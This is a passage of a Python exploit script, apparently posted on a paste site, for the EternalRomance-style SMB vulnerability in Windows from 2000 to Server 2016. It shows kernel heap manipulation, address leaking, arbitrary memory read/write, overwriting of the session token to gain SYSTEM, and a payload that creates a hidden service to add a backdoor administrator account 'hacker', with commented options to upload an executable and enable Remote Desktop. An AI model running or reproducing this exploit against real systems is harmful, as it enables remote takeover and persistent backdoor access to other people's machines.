  634. HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
  635. NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  636.  
  637. # Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  638. conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
  639. wait_for_request_processed(conn)
  640.  
  641. # if the overwritten is correct, a modified transaction mid should be special_mid now.
  642. # a new transaction with special_mid should be error.
  643. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
  644. if recvPkt.getNTStatus() == 0x10002: # invalid SMB
  645. print('success controlling one transaction')
  646. success = True
  647. if 'arch' not in info:
  648. print('Target is '+tinfo['ARCH'])
  649. info['arch'] = tinfo['ARCH']
  650. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  651. break
  652. if recvPkt.getNTStatus() != 0:
  653. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  654.  
  655. if not success:
  656. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  657. print('!!! Write to wrong place !!!')
  658. print('the target might be crashed')
  659. return False
  660.  
  661.  
  662. # NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
  663. # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
  664. # because of this unfreed memory chunk. I will avoid it.
  665.  
  666. # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
  667. # transactions (do not know the address).
  668. # After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
  669. # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
  670. # To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
  671. # On 32 bit target, we can write to any address if parameter count is 0xffffffff.
  672. # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
  673. # are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
  674. # we also modify HIDWORD of InParameter to 0xffffffff.
  675.  
  676. print('modify parameter count to 0xffffffff to be able to write backward')
  677. conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
  678. # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
  679. if info['arch'] == 'x64':
  680. conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  681. wait_for_request_processed(conn)
  682.  
  683. TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
  684. PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
  685. PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
  686.  
  687. # modify paramterCount of first transaction
  688. conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
  689. if info['arch'] == 'x64':
  690. conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  691. # restore trans2.InParameters pointer before leaking next transaction
  692. conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  693. wait_for_request_processed(conn)
  694.  
  695. # ================================
  696. # leak transaction
  697. # ================================
  698. print('leak next transaction')
  699. # modify TRANSACTION member to leak info
  700. # function=5 (NT_TRANS_RENAME)
  701. conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
  702. # parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
  703. conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
  704.  
  705. conn.send_nt_trans_secondary(mid=special_mid)
  706. leakData = conn.recv_transaction_data(special_mid, 0x100)
  707. leakData = leakData[4:] # remove param
  708. #open('leak.dat', 'wb').write(leakData)
  709.  
  710. # check heap chunk size value in leak data
  711. if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
  712. print('chunk size is wrong')
  713. return False
  714.  
  715. # extract leak transaction data and make next transaction to be trans2
  716. leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  717. leakTrans = leakData[leakTranOffset:]
  718. fmt = info['PTR_FMT']
  719. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
  720. inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
  721. trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  722.  
  723. print('CONNECTION: 0x{:x}'.format(connection_addr))
  724. print('SESSION: 0x{:x}'.format(session_addr))
  725. print('FLINK: 0x{:x}'.format(flink_value))
  726. print('InData: 0x{:x}'.format(indata_value))
  727. print('MID: 0x{:x}'.format(trans2_mid))
  728.  
  729. trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
  730. trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
  731. print('TRANS1: 0x{:x}'.format(trans1_addr))
  732. print('TRANS2: 0x{:x}'.format(trans2_addr))
  733.  
  734. # ================================
  735. # modify trans struct to be used for arbitrary read/write
  736. # ================================
  737. print('modify transaction struct for arbitrary read/write')
  738. # modify
  739. # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
  740. # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
  741. # Note: HIDWORD of trans1.InParameter is still 0xffffffff
  742. TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
  743. conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
  744. wait_for_request_processed(conn)
  745.  
  746. # modify trans1.mid
  747. trans1_mid = conn.next_mid()
  748. conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
  749. wait_for_request_processed(conn)
  750.  
  751. info.update({
  752. 'connection': connection_addr,
  753. 'session': session_addr,
  754. 'trans1_mid': trans1_mid,
  755. 'trans1_addr': trans1_addr,
  756. 'trans2_mid': trans2_mid,
  757. 'trans2_addr': trans2_addr,
  758. })
  759. return True
  760.  
  761. def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
  762. SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
  763. SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
  764. SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
  765. SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
  766. # SID_SYSTEM and SID_ADMINISTRATORS must be added
  767. sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
  768. # - user has no attribute (0)
  769. # - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
  770. # - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
  771. attrs = [ 0, 0xe, 7, 7 ]
  772.  
  773. # assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
  774. # fake user and groups will be in same buffer of original one
  775. # so fake sids size must NOT be bigger than the original sids
  776. fakeUserAndGroupCount = min(userAndGroupCount, 4)
  777. fakeUserAndGroupsAddr = userAndGroupsAddr
  778.  
  779. addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
  780. fakeUserAndGroups = ''
  781. for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
  782. fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
  783. addr += len(sid)
  784. fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
  785.  
  786. return fakeUserAndGroupCount, fakeUserAndGroups
  787.  
  788.  
  789. def exploit(target, pipe_name):
  790. conn = MYSMB(target)
  791.  
  792. # set NODELAY to make exploit much faster
  793. conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  794.  
  795. info = {}
  796.  
  797. conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
  798. server_os = conn.get_server_os()
  799. print('Target OS: '+server_os)
  800. if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
  801. info['os'] = 'WIN7'
  802. info['method'] = exploit_matched_pairs
  803. elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
  804. info['os'] = 'WIN8'
  805. info['method'] = exploit_matched_pairs
  806. elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
  807. info['os'] = 'WIN7'
  808. info['method'] = exploit_fish_barrel
  809. elif server_os.startswith("Windows Server 2003 "):
  810. info['os'] = 'WIN2K3'
  811. info['method'] = exploit_fish_barrel
  812. elif server_os.startswith("Windows 5.1"):
  813. info['os'] = 'WINXP'
  814. info['arch'] = 'x86'
  815. info['method'] = exploit_fish_barrel
  816. elif server_os.startswith("Windows XP "):
  817. info['os'] = 'WINXP'
  818. info['arch'] = 'x64'
  819. info['method'] = exploit_fish_barrel
  820. elif server_os.startswith("Windows 5.0"):
  821. info['os'] = 'WIN2K'
  822. info['arch'] = 'x86'
  823. info['method'] = exploit_fish_barrel
  824. else:
  825. print('This exploit does not support this target')
  826. sys.exit()
  827.  
  828. if pipe_name is None:
  829. pipe_name = find_named_pipe(conn)
  830. if pipe_name is None:
  831. print('Not found accessible named pipe')
  832. return False
  833. print('Using named pipe: '+pipe_name)
  834.  
  835. if not info['method'](conn, pipe_name, info):
  836. return False
  837.  
  838. # Now, read_data() and write_data() can be used for arbitrary read and write.
  839. # ================================
  840. # Modify this SMB session to be SYSTEM
  841. # ================================
  842. fmt = info['PTR_FMT']
  843.  
  844. print('make this SMB session to be SYSTEM')
  845. # IsNullSession = 0, IsAdmin = 1
  846. write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
  847.  
  848. # read session struct to get SecurityContext address
  849. sessionData = read_data(conn, info, info['session'], 0x100)
  850. secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
  851.  
  852. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  853. # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
  854. # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
  855. # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
  856.  
  857. # find the token and modify it
  858. if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
  859. pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
  860. pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
  861. else:
  862. pctxtDataAddr = secCtxAddr
  863.  
  864. tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
  865. tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
  866. print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
  867.  
  868. # copy Token data for restoration
  869. tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
  870.  
  871. # parse necessary data out of token
  872. userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
  873.  
  874. print('overwriting token UserAndGroups')
  875. # modify UserAndGroups info
  876. fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
  877. if fakeUserAndGroupCount != userAndGroupCount:
  878. write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
  879. write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
  880. else:
  881. # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
  882. # copy SecurityContext for restoration
  883. secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
  884.  
  885. print('overwriting session security context')
  886. # see FAKE_SECCTX detail at top of the file
  887. write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
  888.  
  889. # ================================
  890. # do whatever we want as SYSTEM over this SMB connection
  891. # ================================
  892. try:
  893. smb_pwn(conn, info['arch'])
  894. except:
  895. pass
  896.  
  897. # restore SecurityContext/Token
  898. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  899. userAndGroupsOffset = userAndGroupsAddr - tokenAddr
  900. write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
  901. if fakeUserAndGroupCount != userAndGroupCount:
  902. write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
  903. else:
  904. write_data(conn, info, secCtxAddr, secCtxData)
  905.  
  906. conn.disconnect_tree(conn.get_tid())
  907. conn.logoff()
  908. conn.get_socket().close()
  909. return True
  910.  
  911. def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
  912. # struct _TOKEN:
  913. # ...
  914. # ULONG UserAndGroupCount; // Ro: 4-Bytes
  915. # ULONG RestrictedSidCount; // Ro: 4-Bytes
  916. # ...
  917. # PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
  918. # PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
  919. # ...
  920.  
  921. userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
  922. userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
  923.  
  924. # RestrictedSidCount MUST be 0
  925. # RestrictedSids MUST be NULL
  926. #
  927. # userandGroupCount must NOT be 0
  928. # userandGroupsAddr must NOT be NULL
  929. #
  930. # Could also add a failure point here if userAndGroupCount >= x
  931.  
  932. success = True
  933.  
  934. if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
  935. print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
  936. print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
  937. print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
  938. success = False
  939.  
  940. print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
  941. print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
  942.  
  943. return success, userAndGroupCount, userAndGroupsAddr
  944.  
  945. def get_group_data_from_token(info, tokenData):
  946. userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
  947. userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
  948.  
  949. # try with default offsets
  950. success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
  951.  
  952. # hack to fix XP SP0 and SP1
  953. # I will avoid over-engineering a more elegant solution and leave this as a hack,
  954. # since XP SP0 and SP1 is the only edge case in a LOT of testing!
  955. if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
  956. print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
  957.  
  958. userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
  959. userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
  960.  
  961. # try with hack offsets
  962. success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
  963.  
  964. # still no good. Abort because something is wrong
  965. if not success:
  966. print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
  967. sys.exit()
  968.  
  969. # token parsed and validated
  970. return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
  971.  
  972. def smb_pwn(conn, arch):
  973. smbConn = conn.get_smbconnection()
  974.  
  975.  
  976. tid2 = smbConn.connectTree('C$')
  977. #fid2 = smbConn.createFile(tid2, '/pwned.txt')
  978.  
  979. #smb_send_file(smbConn, '/root/service.exe', 'C', '/service.exe')
  980. #service_exec(conn, r'cmd /c c:\\service.exe')
  981.  
  982. service_exec(conn, r'net user /add hacker hacker && net localgroup Administrators hacker /add')
  983. #&& net localgroup "Remote Desktop Users" hacker /add
  984. #service_exec(conn, r'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
  985.  
  986.  
  987. smbConn.closeFile(tid2, fid2)
  988. smbConn.disconnectTree(tid2)
  989.  
  990.  
  991. def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
  992. with open(localSrc, 'rb') as fp:
  993. smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
  994.  
  995. # based on impacket/examples/serviceinstall.py
  996. # Note: using Windows Service to execute command same as how psexec works
  997. def service_exec(conn, cmd):
  998. import random
  999. import string
  1000. from impacket.dcerpc.v5 import transport, srvs, scmr
  1001.  
  1002. service_name = ''.join([random.choice(string.letters) for i in range(4)])
  1003.  
  1004. # Setup up a DCE SMBTransport with the connection already in place
  1005. rpcsvc = conn.get_dce_rpc('svcctl')
  1006. rpcsvc.connect()
  1007. rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
  1008. svcHandle = None
  1009. try:
  1010. print("Opening SVCManager on %s....." % conn.get_remote_host())
  1011. resp = scmr.hROpenSCManagerW(rpcsvc)
  1012. svcHandle = resp['lpScHandle']
  1013.  
  1014. # First we try to open the service in case it exists. If it does, we remove it.
  1015. try:
  1016. resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
  1017. except Exception as e:
  1018. if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
  1019. raise e # Unexpected error
  1020. else:
  1021. # It exists, remove it
  1022. scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
  1023. scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
  1024.  
  1025. print('Creating service %s.....' % service_name)
  1026. resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
  1027. serviceHandle = resp['lpServiceHandle']
  1028.  
  1029. if serviceHandle:
  1030. # Start service
  1031. try:
  1032. print('Starting service %s.....' % service_name)
  1033. scmr.hRStartServiceW(rpcsvc, serviceHandle)
  1034. # is it really need to stop?
  1035. # using command line always makes starting service fail because SetServiceStatus() does not get called
  1036. #print('Stoping service %s.....' % service_name)
  1037. #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
  1038. except Exception as e:
  1039. print(str(e))
  1040.  
  1041. print('Removing service %s.....' % service_name)
  1042. scmr.hRDeleteService(rpcsvc, serviceHandle)
  1043. scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
  1044. except Exception as e:
  1045. print("ServiceExec Error on: %s" % conn.get_remote_host())
  1046. print(str(e))
  1047. finally:
  1048. if svcHandle:
  1049. scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
  1050.  
  1051. rpcsvc.disconnect()
  1052.  
  1053.  
  1054. if len(sys.argv) < 2:
  1055. print("{} <ip> [pipe_name]".format(sys.argv[0]))
  1056. sys.exit(1)
  1057.  
  1058. target = sys.argv[1]
  1059. pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
  1060.  
  1061. exploit(target, pipe_name)
  1062. print('Done')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement